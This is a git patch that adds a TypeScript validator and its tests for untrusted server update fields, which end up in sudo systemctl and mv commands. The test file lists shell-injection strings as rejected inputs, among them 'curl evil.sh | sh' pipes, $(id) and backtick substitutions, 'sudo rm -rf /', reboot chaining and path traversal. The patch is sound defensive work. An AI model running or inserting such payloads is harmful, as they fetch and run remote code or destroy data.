From 44ef2794f12ae0c08b6fb6b4774a396d69ebfcec Mon Sep 17 00:00:00 2001 From: Jinjing <6427696+AmethystLiang@users.noreply.github.com> Date: Mon, 6 Jul 2026 22:45:17 -0700 Subject: [PATCH] feat(runtime): add shared validation for untrusted server updateInfo fields Co-authored-by: Orca --- .../runtime-update-info-validation.test.ts | 279 ++++++++++++++++++ src/shared/runtime-update-info-validation.ts | 169 +++++++++++ 2 files changed, 448 insertions(+) create mode 100644 src/shared/runtime-update-info-validation.test.ts create mode 100644 src/shared/runtime-update-info-validation.ts diff --git a/src/shared/runtime-update-info-validation.test.ts b/src/shared/runtime-update-info-validation.test.ts new file mode 100644 index 00000000000..df23971dfc8 --- /dev/null +++ b/src/shared/runtime-update-info-validation.test.ts @@ -0,0 +1,279 @@ +import { describe, expect, it } from 'vitest' + +import type { RuntimeUpdateInfo } from './runtime-types' +import { + DEFAULT_INSTALL_PATH, + DEFAULT_SERVICE_NAME, + validateRuntimeUpdateInfo +} from './runtime-update-info-validation' + +// Cast arbitrary garbage to the declared type — a compromised server is not +// bound by TypeScript, so the validator must survive non-string fields too. +const asUpdateInfo = (value: unknown): RuntimeUpdateInfo => value as RuntimeUpdateInfo + +describe('validateRuntimeUpdateInfo defaults', () => { + it('yields the documented defaults for wholly-undefined input', () => { + const result = validateRuntimeUpdateInfo(undefined) + expect(result).toEqual({ + serviceName: DEFAULT_SERVICE_NAME, + installPath: DEFAULT_INSTALL_PATH, + installKind: 'unknown', + restartKind: 'unknown' + }) + }) + + it('treats null input the same as absent', () => { + expect(validateRuntimeUpdateInfo(null)).toEqual({ + serviceName: DEFAULT_SERVICE_NAME, + installPath: DEFAULT_INSTALL_PATH, + installKind: 'unknown', + restartKind: 'unknown' + }) + }) + + it('does not throw on non-string garbage in every field', () => { + const result = validateRuntimeUpdateInfo( + asUpdateInfo({ + currentVersion: 42, + latestVersion: {}, + updateAvailable: 'yes', + installKind: 123, + restartKind: [], + serviceName: false, + installPath: 0, + hostArch: null, + docsUrl: 99 + }) + ) + expect(result).toEqual({ + serviceName: DEFAULT_SERVICE_NAME, + installPath: DEFAULT_INSTALL_PATH, + installKind: 'unknown', + restartKind: 'unknown' + }) + }) + + it('accepts the documented defaults when a server echoes them back', () => { + const result = validateRuntimeUpdateInfo({ + serviceName: 'orca-serve.service', + installPath: '/opt/orca/orca-linux.AppImage' + }) + expect(result.serviceName).toBe('orca-serve.service') + expect(result.installPath).toBe('/opt/orca/orca-linux.AppImage') + }) +}) + +describe('validateRuntimeUpdateInfo serviceName', () => { + it('accepts orca-prefixed unit names', () => { + expect(validateRuntimeUpdateInfo({ serviceName: 'orca-serve.service' }).serviceName).toBe( + 'orca-serve.service' + ) + expect(validateRuntimeUpdateInfo({ serviceName: 'orca.service' }).serviceName).toBe( + 'orca.service' + ) + expect(validateRuntimeUpdateInfo({ serviceName: 'orca@host:1.service' }).serviceName).toBe( + 'orca@host:1.service' + ) + }) + + it('rejects non-orca unit names and falls back to the default', () => { + for (const name of ['sshd.service', 'docker.service', 'x.service']) { + expect(validateRuntimeUpdateInfo({ serviceName: name }).serviceName).toBe( + DEFAULT_SERVICE_NAME + ) + } + }) + + it('rejects systemd flag-like names', () => { + for (const name of ['--user.service', '-H.service']) { + expect(validateRuntimeUpdateInfo({ serviceName: name }).serviceName).toBe( + DEFAULT_SERVICE_NAME + ) + } + }) + + it('rejects shell-metacharacter and injection payloads', () => { + const payloads = [ + 'orca; curl evil.sh | sh.service', + 'orca`whoami`.service', + 'orca$(id).service', + 'orca serve.service', + "orca'.service", + 'orca".service', + 'orca-serve.service\n', + 'orca && reboot.service' + ] + for (const name of payloads) { + expect(validateRuntimeUpdateInfo({ serviceName: name }).serviceName).toBe( + DEFAULT_SERVICE_NAME + ) + } + }) + + it('rejects a name missing the .service suffix', () => { + expect(validateRuntimeUpdateInfo({ serviceName: 'orca-serve' }).serviceName).toBe( + DEFAULT_SERVICE_NAME + ) + }) +}) + +describe('validateRuntimeUpdateInfo installPath', () => { + it('accepts an absolute AppImage path', () => { + expect( + validateRuntimeUpdateInfo({ installPath: '/home/user/apps/orca-linux.AppImage' }).installPath + ).toBe('/home/user/apps/orca-linux.AppImage') + }) + + it('rejects a non-absolute path', () => { + expect(validateRuntimeUpdateInfo({ installPath: 'orca-linux.AppImage' }).installPath).toBe( + DEFAULT_INSTALL_PATH + ) + }) + + it('rejects a path without the .AppImage suffix', () => { + for (const path of ['/opt/orca/orca-linux', '/opt/orca/orca.deb', '/usr/bin/orca']) { + expect(validateRuntimeUpdateInfo({ installPath: path }).installPath).toBe( + DEFAULT_INSTALL_PATH + ) + } + }) + + it('rejects path traversal and shell-metacharacter payloads', () => { + const payloads = [ + '/opt/orca/../../etc/orca-linux.AppImage', + '/opt/orca/$(id).AppImage', + '/opt/orca/`whoami`.AppImage', + '/opt/orca/orca linux.AppImage', + '/opt/orca/orca;rm.AppImage', + "/opt/orca/orca'.AppImage", + '/opt/orca/orca.AppImage\n', + '/opt/orca/orca.AppImage; sudo rm -rf /' + ] + for (const path of payloads) { + expect(validateRuntimeUpdateInfo({ installPath: path }).installPath).toBe( + DEFAULT_INSTALL_PATH + ) + } + }) + + it('accepts documented path characters (~ + . _ -)', () => { + const path = '/opt/orca_v2/orca-linux+arm.AppImage' + expect(validateRuntimeUpdateInfo({ installPath: path }).installPath).toBe(path) + }) + + it('accepts a dotted directory segment that is not a traversal', () => { + const path = '/opt/orca/sub.dir/orca-linux.AppImage' + expect(validateRuntimeUpdateInfo({ installPath: path }).installPath).toBe(path) + }) +}) + +describe('validateRuntimeUpdateInfo versions', () => { + it('accepts semver and prerelease strings', () => { + const result = validateRuntimeUpdateInfo({ + currentVersion: '1.2.3', + latestVersion: '1.2.3-beta.1' + }) + expect(result.currentVersion).toBe('1.2.3') + expect(result.latestVersion).toBe('1.2.3-beta.1') + }) + + it('omits versions carrying injection payloads', () => { + const payloads = [ + '1.2.3; curl evil | sh', + '1.2.3`id`', + '1.2.3$(reboot)', + '1.2', + 'v1.2.3', + '1.2.3\n', + '1.2.3 && rm -rf /' + ] + for (const version of payloads) { + const result = validateRuntimeUpdateInfo({ + currentVersion: version, + latestVersion: version + }) + expect(result.currentVersion).toBeUndefined() + expect(result.latestVersion).toBeUndefined() + } + }) +}) + +describe('validateRuntimeUpdateInfo docsUrl', () => { + it('accepts a path under stablyai/orca', () => { + expect( + validateRuntimeUpdateInfo({ docsUrl: 'https://github.com/stablyai/orca/releases' }).docsUrl + ).toBe('https://github.com/stablyai/orca/releases') + expect(validateRuntimeUpdateInfo({ docsUrl: 'https://github.com/stablyai/orca' }).docsUrl).toBe( + 'https://github.com/stablyai/orca' + ) + }) + + it('rejects a parsed-pathname traversal to another repo', () => { + expect( + validateRuntimeUpdateInfo({ + docsUrl: 'https://github.com/stablyai/orca/../evil' + }).docsUrl + ).toBeUndefined() + }) + + it('rejects sibling repo names sharing the prefix', () => { + expect( + validateRuntimeUpdateInfo({ docsUrl: 'https://github.com/stablyai/orca-foo' }).docsUrl + ).toBeUndefined() + }) + + it('rejects a non-https origin', () => { + expect( + validateRuntimeUpdateInfo({ docsUrl: 'http://github.com/stablyai/orca' }).docsUrl + ).toBeUndefined() + }) + + it('rejects a different host', () => { + expect( + validateRuntimeUpdateInfo({ docsUrl: 'https://evil.com/stablyai/orca' }).docsUrl + ).toBeUndefined() + }) + + it('rejects an unparseable url', () => { + expect(validateRuntimeUpdateInfo({ docsUrl: 'not a url' }).docsUrl).toBeUndefined() + }) +}) + +describe('validateRuntimeUpdateInfo enums and flags', () => { + it('passes through recognized install and restart kinds', () => { + const result = validateRuntimeUpdateInfo({ + installKind: 'linux-appimage', + restartKind: 'systemd' + }) + expect(result.installKind).toBe('linux-appimage') + expect(result.restartKind).toBe('systemd') + }) + + it('maps unrecognized enum values to unknown', () => { + const result = validateRuntimeUpdateInfo( + asUpdateInfo({ installKind: 'gentoo-ebuild', restartKind: 'launchd' }) + ) + expect(result.installKind).toBe('unknown') + expect(result.restartKind).toBe('unknown') + }) + + it('accepts only x64 and arm64 for hostArch', () => { + expect(validateRuntimeUpdateInfo({ hostArch: 'x64' }).hostArch).toBe('x64') + expect(validateRuntimeUpdateInfo({ hostArch: 'arm64' }).hostArch).toBe('arm64') + }) + + it('omits garbage hostArch values', () => { + for (const arch of ['x86', 'ia32', 'riscv64', '', 'x64; rm']) { + expect(validateRuntimeUpdateInfo({ hostArch: arch }).hostArch).toBeUndefined() + } + }) + + it('passes through only a literal boolean updateAvailable', () => { + expect(validateRuntimeUpdateInfo({ updateAvailable: true }).updateAvailable).toBe(true) + expect(validateRuntimeUpdateInfo({ updateAvailable: false }).updateAvailable).toBe(false) + expect(validateRuntimeUpdateInfo({ updateAvailable: null }).updateAvailable).toBeUndefined() + expect( + validateRuntimeUpdateInfo(asUpdateInfo({ updateAvailable: 'true' })).updateAvailable + ).toBeUndefined() + }) +}) diff --git a/src/shared/runtime-update-info-validation.ts b/src/shared/runtime-update-info-validation.ts new file mode 100644 index 00000000000..dad1ede3d62 --- /dev/null +++ b/src/shared/runtime-update-info-validation.ts @@ -0,0 +1,169 @@ +import type { RuntimeInstallKind, RuntimeRestartKind, RuntimeUpdateInfo } from './runtime-types' + +// Why: every field of updateInfo crosses a trust boundary — it comes from a +// possibly-compromised server and some of it is rendered into commands the user +// pastes into a root shell. This module discards anything that fails validation +// and substitutes documented defaults, so the advisor UI can trust its output. +// Dependency-free (no Electron/Node imports; `new URL` exists everywhere) so the +// mobile client can mirror it. + +// Why: the template `sudo systemctl restart`s / `sudo mv`s onto these, so a +// rejected server value must fall back to a value the client itself owns. +export const DEFAULT_SERVICE_NAME = 'orca-serve.service' +export const DEFAULT_INSTALL_PATH = '/opt/orca/orca-linux.AppImage' + +const INSTALL_KINDS: ReadonlySet = new Set([ + 'mac-app', + 'mac-homebrew', + 'windows-installer', + 'linux-appimage', + 'linux-deb', + 'linux-rpm', + 'source', + 'unknown' +]) + +const RESTART_KINDS: ReadonlySet = new Set([ + 'desktop', + 'foreground-serve', + 'systemd', + 'unknown' +]) + +const RECOGNIZED_ARCHES = ['x64', 'arm64'] as const +type RecognizedArch = (typeof RECOGNIZED_ARCHES)[number] + +// Mandatory `orca` prefix: mirrors the systemd cgroup-detection trust rule so a +// compromised server cannot aim the restart at `sshd.service`; the leading +// alphanumeric also means the value can never parse as a `systemctl` flag. +const SERVICE_NAME_PATTERN = /^orca[A-Za-z0-9@:._-]{0,75}\.service$/ +// Absolute, no spaces/quotes/shell metacharacters. The `.AppImage` suffix is +// load-bearing: the template `sudo mv`s onto this path. +const INSTALL_PATH_PATTERN = /^[A-Za-z0-9/._~+-]{1,256}$/ +const VERSION_PATTERN = /^\d+\.\d+\.\d+(-[A-Za-z0-9.-]{1,40})?$/ + +// Why: without the `m` flag, `$` also matches just before a trailing newline, so +// `"orca-serve.service\n"` would pass a `…\.service$` test and smuggle a newline +// into a command. Reject any string carrying a line break outright. +const matchesFully = (value: string, pattern: RegExp): boolean => + !/[\r\n]/.test(value) && pattern.test(value) + +const validateServiceName = (value: unknown): string | undefined => + typeof value === 'string' && matchesFully(value, SERVICE_NAME_PATTERN) ? value : undefined + +const validateInstallPath = (value: unknown): string | undefined => + typeof value === 'string' && + value.startsWith('/') && + value.endsWith('.AppImage') && + // Reject `..` outright: the char class permits it, but a traversal segment + // could steer the template's `sudo mv` above the intended install dir even + // while keeping the load-bearing `.AppImage` suffix. + !value.includes('..') && + matchesFully(value, INSTALL_PATH_PATTERN) + ? value + : undefined + +const validateVersion = (value: unknown): string | undefined => + typeof value === 'string' && matchesFully(value, VERSION_PATTERN) ? value : undefined + +// Render only when the origin is github.com and the *parsed* pathname is exactly +// `/stablyai/orca` or a child of it. Parsing defeats `…/orca/../other-repo` +// (which a raw prefix check passes); the trailing slash rules out `orca-foo`. +const validateDocsUrl = (value: unknown): string | undefined => { + if (typeof value !== 'string') { + return undefined + } + let parsed: URL + try { + parsed = new URL(value) + } catch { + return undefined + } + if (parsed.origin !== 'https://github.com') { + return undefined + } + const path = parsed.pathname + if (path === '/stablyai/orca' || path.startsWith('/stablyai/orca/')) { + return value + } + return undefined +} + +const validateInstallKind = (value: unknown): RuntimeInstallKind => + typeof value === 'string' && INSTALL_KINDS.has(value as RuntimeInstallKind) + ? (value as RuntimeInstallKind) + : 'unknown' + +const validateRestartKind = (value: unknown): RuntimeRestartKind => + typeof value === 'string' && RESTART_KINDS.has(value as RuntimeRestartKind) + ? (value as RuntimeRestartKind) + : 'unknown' + +const validateHostArch = (value: unknown): RecognizedArch | undefined => + RECOGNIZED_ARCHES.includes(value as RecognizedArch) ? (value as RecognizedArch) : undefined + +/** + * The advisor-trusted shape derived from untrusted server `updateInfo`. + * + * `serviceName`, `installPath`, `installKind`, and `restartKind` are always + * present — a rejected server value falls back to a documented default (or + * `'unknown'`), because the guide templates need something safe to render. + * Display-only fields are optional: absent means "the server gave us nothing + * valid to show", not "use a default". + */ +export type ValidatedRuntimeUpdateInfo = { + serviceName: string + installPath: string + installKind: RuntimeInstallKind + restartKind: RuntimeRestartKind + currentVersion?: string + latestVersion?: string + updateAvailable?: boolean + hostArch?: RecognizedArch + docsUrl?: string +} + +/** + * Validate untrusted server-supplied `updateInfo`. Never throws: a wholly + * absent input (cold-start servers send none) or non-string garbage in any + * field yields the defaults shape with display-only fields omitted. + */ +export const validateRuntimeUpdateInfo = ( + updateInfo: RuntimeUpdateInfo | null | undefined +): ValidatedRuntimeUpdateInfo => { + const info = (updateInfo ?? {}) as Record + + const validated: ValidatedRuntimeUpdateInfo = { + serviceName: validateServiceName(info.serviceName) ?? DEFAULT_SERVICE_NAME, + installPath: validateInstallPath(info.installPath) ?? DEFAULT_INSTALL_PATH, + installKind: validateInstallKind(info.installKind), + restartKind: validateRestartKind(info.restartKind) + } + + const currentVersion = validateVersion(info.currentVersion) + if (currentVersion !== undefined) { + validated.currentVersion = currentVersion + } + + const latestVersion = validateVersion(info.latestVersion) + if (latestVersion !== undefined) { + validated.latestVersion = latestVersion + } + + // Only a literal boolean passes; null/undefined/garbage → absent. + if (typeof info.updateAvailable === 'boolean') { + validated.updateAvailable = info.updateAvailable + } + + const hostArch = validateHostArch(info.hostArch) + if (hostArch !== undefined) { + validated.hostArch = hostArch + } + + const docsUrl = validateDocsUrl(info.docsUrl) + if (docsUrl !== undefined) { + validated.docsUrl = docsUrl + } + + return validated +}